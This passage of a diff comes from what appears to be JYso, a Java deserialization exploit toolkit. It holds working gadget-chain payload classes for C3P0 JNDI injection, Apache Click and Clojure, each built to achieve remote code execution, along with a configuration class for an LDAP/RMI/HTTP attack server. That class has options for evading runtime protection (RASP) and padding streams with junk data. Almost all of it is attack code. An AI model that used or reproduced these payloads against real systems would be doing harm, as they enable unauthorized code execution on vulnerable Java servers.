HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,41 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class C3P0JNDI implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
|
||||
Reflections.setFieldValue(o, "jndiName", command);
|
||||
Reflections.setFieldValue(o, "identityToken", "exp");
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class C3P0JNDI implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
|
||||
Reflections.setFieldValue(o, "jndiName", command);
|
||||
Reflections.setFieldValue(o, "identityToken", "exp");
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap<Object, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,40 +1,40 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class C3P0JNDI2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
|
||||
o.setJndiName(command);
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class C3P0JNDI2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
|
||||
o.setJndiName(command);
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap<JndiRefConnectionPoolDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
public class C3P0RefDataSource implements ObjectPayload {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
|
||||
// requires ordering
|
||||
Reflections.setFieldValue(obj, "jndiName", command);
|
||||
Reflections.setFieldValue(obj, "loginTimeout", 0);
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unused"})
|
||||
public class C3P0RefDataSource implements ObjectPayload {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
|
||||
// requires ordering
|
||||
Reflections.setFieldValue(obj, "jndiName", command);
|
||||
Reflections.setFieldValue(obj, "loginTimeout", 0);
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,42 +1,42 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Hex;
|
||||
|
||||
import javax.naming.Name;
|
||||
import javax.naming.Reference;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.net.URI;
|
||||
import java.util.Hashtable;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
|
||||
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
|
||||
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
|
||||
ByteArrayOutputStream b = new ByteArrayOutputStream();
|
||||
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
|
||||
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
|
||||
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
|
||||
con.setAccessible(true);
|
||||
Reference jndiref = new Reference("Foo", clazz, codebase);
|
||||
Object ref = con.newInstance(jndiref, null, null, null);
|
||||
oos.writeObject(ref);
|
||||
}
|
||||
|
||||
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
URI uri = new URI(command);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
|
||||
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Hex;
|
||||
|
||||
import javax.naming.Name;
|
||||
import javax.naming.Reference;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.net.URI;
|
||||
import java.util.Hashtable;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class C3P0WrapperConnPool implements ObjectPayload<Object> {
|
||||
public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
|
||||
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
|
||||
ByteArrayOutputStream b = new ByteArrayOutputStream();
|
||||
try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
|
||||
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
|
||||
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
|
||||
con.setAccessible(true);
|
||||
Reference jndiref = new Reference("Foo", clazz, codebase);
|
||||
Object ref = con.newInstance(jndiref, null, null, null);
|
||||
oos.writeObject(ref);
|
||||
}
|
||||
|
||||
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
URI uri = new URI(command);
|
||||
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
|
||||
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,78 +1,78 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.click.control.Column;
|
||||
import org.apache.click.control.Table;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* java.util.PriorityQueue.readObject()
|
||||
* java.util.PriorityQueue.heapify()
|
||||
* java.util.PriorityQueue.siftDown()
|
||||
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||
* org.apache.click.control.Column$ColumnComparator.compare()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.util.PropertyUtils.getValue()
|
||||
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||
* java.lang.reflect.Method.invoke()
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - command to execute
|
||||
* <p>
|
||||
* Yields:
|
||||
* - RCE via TemplatesImpl.getOutputProperties()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Apache Click
|
||||
* - servlet-api of any version
|
||||
* <p>
|
||||
* by @artsploit
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||
@Authors({Authors.ARTSPLOIT})
|
||||
public class Click1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
// prepare a Column.comparator with mock values
|
||||
final Column column = new Column("lowestSetBit");
|
||||
column.setTable(new Table());
|
||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||
|
||||
// create queue with numbers and our comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch method called by the comparator,
|
||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||
column.setName("outputProperties");
|
||||
|
||||
// finally, we inject and new TemplatesImpl object into the queue,
|
||||
// so its getOutputProperties() method will be called
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
queueArray[0] = template;
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.click.control.Column;
|
||||
import org.apache.click.control.Table;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||
* <p>
|
||||
* Chain:
|
||||
* <p>
|
||||
* java.util.PriorityQueue.readObject()
|
||||
* java.util.PriorityQueue.heapify()
|
||||
* java.util.PriorityQueue.siftDown()
|
||||
* java.util.PriorityQueue.siftDownUsingComparator()
|
||||
* org.apache.click.control.Column$ColumnComparator.compare()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.control.Column.getProperty()
|
||||
* org.apache.click.util.PropertyUtils.getValue()
|
||||
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||
* java.lang.reflect.Method.invoke()
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* ...
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - command to execute
|
||||
* <p>
|
||||
* Yields:
|
||||
* - RCE via TemplatesImpl.getOutputProperties()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Apache Click
|
||||
* - servlet-api of any version
|
||||
* <p>
|
||||
* by @artsploit
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||
@Authors({Authors.ARTSPLOIT})
|
||||
public class Click1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
// prepare a Column.comparator with mock values
|
||||
final Column column = new Column("lowestSetBit");
|
||||
column.setTable(new Table());
|
||||
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||
|
||||
// create queue with numbers and our comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
// switch method called by the comparator,
|
||||
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||
column.setName("outputProperties");
|
||||
|
||||
// finally, we inject and new TemplatesImpl object into the queue,
|
||||
// so its getOutputProperties() method will be called
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
queueArray[0] = template;
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,51 +1,51 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import clojure.core$comp;
|
||||
import clojure.core$constantly;
|
||||
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||
import clojure.lang.PersistentArrayMap;
|
||||
import clojure.main$eval_opt;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* HashMap.readObject()
|
||||
* AbstractTableModel$ff19274a.hashCode()
|
||||
* clojure.core$comp$fn__4727.invoke()
|
||||
* clojure.core$constantly$fn__4614.invoke()
|
||||
* clojure.main$eval_opt.invoke()
|
||||
* <p>
|
||||
* Requires:
|
||||
* org.clojure:clojure
|
||||
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({JACKOFMOSTTRADES})
|
||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(String command) throws Exception {
|
||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||
Map<String, Object> fnMap = new HashMap<>();
|
||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
HashMap<Object, Object> targetMap = new HashMap<>();
|
||||
targetMap.put(model, null);
|
||||
fnMap.put("hashCode", (new core$comp())
|
||||
.invoke(new main$eval_opt(), (new core$constantly())
|
||||
.invoke(clojurePayload)));
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
return targetMap;
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import clojure.core$comp;
|
||||
import clojure.core$constantly;
|
||||
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
|
||||
import clojure.lang.PersistentArrayMap;
|
||||
import clojure.main$eval_opt;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* HashMap.readObject()
|
||||
* AbstractTableModel$ff19274a.hashCode()
|
||||
* clojure.core$comp$fn__4727.invoke()
|
||||
* clojure.core$constantly$fn__4614.invoke()
|
||||
* clojure.main$eval_opt.invoke()
|
||||
* <p>
|
||||
* Requires:
|
||||
* org.clojure:clojure
|
||||
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({JACKOFMOSTTRADES})
|
||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(String command) throws Exception {
|
||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||
Map<String, Object> fnMap = new HashMap<>();
|
||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
HashMap<Object, Object> targetMap = new HashMap<>();
|
||||
targetMap.put(model, null);
|
||||
fnMap.put("hashCode", (new core$comp())
|
||||
.invoke(new main$eval_opt(), (new core$constantly())
|
||||
.invoke(clojurePayload)));
|
||||
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
|
||||
return targetMap;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,174 +1,174 @@
|
||||
package com.qi4l.JYso.gadgets.Config;
|
||||
|
||||
import com.beust.jcommander.JCommander;
|
||||
import com.beust.jcommander.Parameter;
|
||||
import com.beust.jcommander.UnixStyleUsageFormatter;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import javassist.ClassPool;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class Config {
|
||||
public static String codeBase;
|
||||
|
||||
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
|
||||
public static String ip = "0.0.0.0";
|
||||
|
||||
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
|
||||
public static int ldapPort = 1389;
|
||||
|
||||
@Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2)
|
||||
public static int ldapsPort = 1669;
|
||||
|
||||
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
|
||||
public static int rmiPort = 1099;
|
||||
|
||||
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
|
||||
public static int httpPort = 3456;
|
||||
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
|
||||
public static String command = "whoami";
|
||||
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
|
||||
public static boolean showVersion;
|
||||
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
|
||||
public static boolean showGadgets;
|
||||
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
|
||||
public static String AESkey = "123";
|
||||
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
|
||||
public static String USER = "";
|
||||
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
|
||||
public static String PASSWD = "";
|
||||
@Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5)
|
||||
public static boolean TLSProxy = false;
|
||||
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
|
||||
public static String keyPass = "";
|
||||
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
|
||||
public static String certFile = "";
|
||||
|
||||
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
|
||||
public static boolean jndi = false;
|
||||
public static String rhost;
|
||||
public static String rport;
|
||||
// 从HTTP外部获取路由值
|
||||
public static String ROUTE = "";
|
||||
// 从HTTP外部获取参数值
|
||||
public static String BCEL1 = "";
|
||||
// 恶意类是否继承 AbstractTranslet
|
||||
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
|
||||
//是否使用反射绕过RASP
|
||||
public static Boolean IS_OBSCURE = false;
|
||||
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
||||
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
||||
public static Boolean IS_UTF_Bypass = false;
|
||||
// 填充的脏数据长度
|
||||
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
||||
|
||||
// DefineClassFromParameter 的路径
|
||||
public static String PARAMETER = "dc";
|
||||
// 将输入直接写在文件里
|
||||
public static String FILE = "out.ser";
|
||||
public static Boolean WRITE_FILE = false;
|
||||
public static Boolean BASE64 = false;
|
||||
// 是否强制使用 org.apache.XXX.TemplatesImpl
|
||||
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
|
||||
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
|
||||
// ScriptEngineManager 是否为 RHINO 引擎
|
||||
public static boolean USING_RHINO = false;
|
||||
public static ClassPool POOL = ClassPool.getDefault();
|
||||
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
|
||||
private static boolean help = false;
|
||||
|
||||
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
|
||||
public static void applyCmdArgs(String[] args) {
|
||||
//process cmd args
|
||||
|
||||
JCommander jc = JCommander.newBuilder()
|
||||
.addObject(new Config())
|
||||
.build();
|
||||
try {
|
||||
jc.parse(args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("Error: " + e.getMessage() + "\n");
|
||||
help = true;
|
||||
}
|
||||
|
||||
if (showGadgets) {
|
||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.out.println(" " + line);
|
||||
}
|
||||
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
if (showVersion) {
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
//获取当前 Jar 的名称
|
||||
jc.setProgramName("java -jar JYso.jar");
|
||||
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
|
||||
|
||||
if (help) {
|
||||
jc.usage(); //if -h specified, show help and exit
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
// 特别注意:最后一个反斜杠不能少啊
|
||||
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
|
||||
}
|
||||
|
||||
public static void logo() {
|
||||
String logo = " ┏┳┓┏ \n" +
|
||||
" ┃┗┫┏┏┓ \n" +
|
||||
" ┗┛┗┛┛┗┛ ";
|
||||
|
||||
// 高亮颜色代码(不包括黑色)
|
||||
Ansi.Color[] colors = {
|
||||
Ansi.Color.RED,
|
||||
Ansi.Color.GREEN,
|
||||
Ansi.Color.YELLOW,
|
||||
